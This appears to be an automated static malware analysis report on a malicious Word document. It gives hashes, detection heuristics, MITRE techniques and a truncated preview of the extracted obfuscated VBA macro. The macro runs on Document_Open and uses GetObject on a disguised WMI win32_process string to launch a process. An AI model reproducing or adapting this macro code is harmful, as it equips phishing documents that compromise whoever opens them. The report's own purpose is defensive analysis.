Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 9461ef60143b1e7d…

MALICIOUS

Office (OOXML)

123.2 KB Created: 2020-01-30 19:13:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-04-06
MD5: d43cf0a3c4a92548b50ea94e52ea2f45 SHA-1: f22a6f739a428d13d3a3e61cd5c74ff7eaf31abd SHA-256: 9461ef60143b1e7d0c4207f9b05ff639b9dd018b7163708203383efc2998df31
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an OOXML document containing VBA macros, specifically a Document_Open macro that is triggered automatically. Heuristics indicate the use of GetObject and p-code execution, suggesting an attempt to run malicious code. The ClamAV detection as 'Doc.Downloader' strongly implies the macro's purpose is to download a second-stage payload. No specific URLs or network indicators were directly extracted from the provided evidence, but the presence of VBA macros and the downloader detection pattern point to a malicious downloader.

Heuristics 6

  • ClamAV: Doc.Downloader.Chartres-7570796-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Chartres-7570796-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 5439 bytes
SHA-256: bf77f07695fceef47f0766c82da53fd0e1da07076467e2f469c08f93ec045482
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Cddqknzd"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
   iewrf = 648
sd = Trim _
(265)
f = Trim("{Polic}")
ffv = Trim("{Polic}")
r = Trim(99)
fe = Trim(Zixksgjw)
vfd = Trim("{Polic}")
nxss = Trim _
(57)
Wjrblwmjz.Xtbwyraxgskig
End Sub


Attribute VB_Name = "Yndamjcluckb"
Attribute VB_Base = "0{C82B2FE3-C0B8-465C-97E1-133876720738}{651410E1-A715-4D40-9F8A-579D9FA4D804}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Pcarvtpqmqg"
Attribute VB_Base = "0{22BBA4CD-0E87-4387-9A76-38408A7C0609}{341D9F51-54EA-43DD-B722-17F7965CF2AC}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Ngikepdjhfvr()
Debug.Print "Operaion" + NS + "S"
End Sub

Attribute VB_Name = "Wjrblwmjz"
Function Xtbwyraxgskig()
   iewrf = 251
sd = Trim _
(874)
f = Trim("{Polic}")
ffv = Trim("{Polic}")
r = Trim(613)
fe = Trim(Mrtzykrhavx)
vfd = Trim("{Polic}")
nxss = Trim _
(362)
Utjkydkqnkk = "==/e3n//3^w==/e3n//3^==/e3n//3^==" + "/e3n//3^i==/e3n//3^==/e3n//3^" + "nmg==/e3n//3^mt==/e3n//3^==/e3n//3^" + ChrW(Int(wdKeyS)) + "==/e3n//3^:w==/e3n//3^in==" + "/e3n//3^==/e3n//3^3==/e3n//3^2_" + Yndamjcluckb.Mfqurqdy + "ro==/e3n//3^ce==/e3n" + "//3^==/e3n//3^s==/e3n//3^s"
   iewrf = 492
sd = Trim _
(9)
f = Trim("{Polic}")
ffv = Trim("{Polic}")
r = Trim(836)
fe = Trim(Ukbptsydomsd)
vfd = Trim("{Polic}")
nxss = Trim _
(114)
Cagarplucym = Fenfftrr(Utjkydkqnkk)
   iewrf = 20
sd = Trim _
(89)
f = Trim("{Polic}")
ffv = Trim("{Polic}")
r = Trim(725)
fe = Trim(Jzcedhzr)
vfd = Trim("{Polic}")
nxss = Trim _
(886)
Set Sletqlkdmxaxb = GetObject(Cagarplucym)
   iewrf = 330
sd = Trim _
(244)
f = Trim("{Polic}")
ffv = Trim("{Polic}")
r = Trim(362)
fe = Trim(Rpraxqxdkwfjc)
vfd = Trim("{Polic}")
nxss = Trim _
(772)
Yxznmaijxx = Yndamjcluckb.Kyabdacc.Tag
   iewrf = 349
sd = Trim _
(787)
f = Trim("{Polic}")
ffv = Trim("{Polic}")
r = Trim(296)
fe = Trim(Yuuziwugzjn)
vfd = Trim("{Polic}")
nxss = Trim _
(256)
Angtpvapun = Cagarplucym + ChrW(Int(wdKeyS)) + Yndamjcluckb.Odvwkdpflyf.Tag + Yxznmaijxx
   iewrf = 573
sd = Trim _
(779)
f = Trim("{Polic}")
ffv = Trim("{Polic}")
r = Trim(171)
fe = Trim(Rglbsvukdvdxc)
vfd = Trim("{Polic}")
nxss = Trim _
(31)
Ztkfracw = Angtpvapun + Yndamjcluckb.Mfqurqdy
   iewrf = 166
sd = Trim _
(225)
f = Trim("{Polic}")
ffv = Trim("{Polic}")
r = Trim(465)
fe = Trim(Oqzhgkffy)
vfd = Trim("{Polic}")
nxss = Trim _
(515)
Call Sletqlkdmxaxb. _
Create(Cayrwquxjnmj, Ebsecvqdglo, Cpkwopgxmr(Ztkfracw), Lepgfyysik, Ztesfqlaimfwf, Xjhlwathsubr)
   iewrf = 387
sd = Trim _
(190)
f = Trim("{Polic}")
ffv = Trim("{Polic}")
r = Trim(135)
fe = Trim(Eregewnccvk)
vfd = Trim("{Polic}")
nxss = Trim _
(462)
End Function
Function Cpkwopgxmr(Otmzkqamf)
   iewrf = 95
sd = Trim _
(857)
f = Trim("{Polic}")
ffv = Trim("{Polic}")
r = Trim(466)
fe = Trim(Odwoiwjaxkuy)
vfd = Trim("{Polic}")
nxss = Trim _
(436)
Set Cpkwopgxmr = GetObject(Otmzkqamf)
   iewrf = 245
sd = Trim _
(442)
f = Trim("{Polic}")
ffv = Trim("{Polic}")
r = Trim(431)
fe = Trim(Osasaimqvfgmi)
vfd = Trim("{Polic}")
nxss = Trim _
(929)
Cpkwopgxmr. _
showwindow = Yvrnhdcll + Dmbyytbsfajb
   iewrf = 12
sd = Trim _
(819)
f = Trim("{Polic}")
ffv = Trim("{Polic}")
r = Trim(94)
fe = Trim(Tuhlpeuzjkmq)
vfd = Trim("{Polic}")
nxss = Trim _
(394)
End Function
Function Fenfftrr(Ersmlcdvvewqc)
   iewrf = 450
sd = Trim _
(289)
f = Trim("{Polic}")
ffv = Trim("{Polic}")
r = Trim(637)
fe = Trim(Ryfxjpxoqfhr)
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 41472 bytes
SHA-256: 5954fe5845715b651d00cd71058f612897631f9ed117eacece3fa1a539b22f39
Detection
ClamAV: Doc.Downloader.Chartres-7570796-0
Obfuscation or payload: unlikely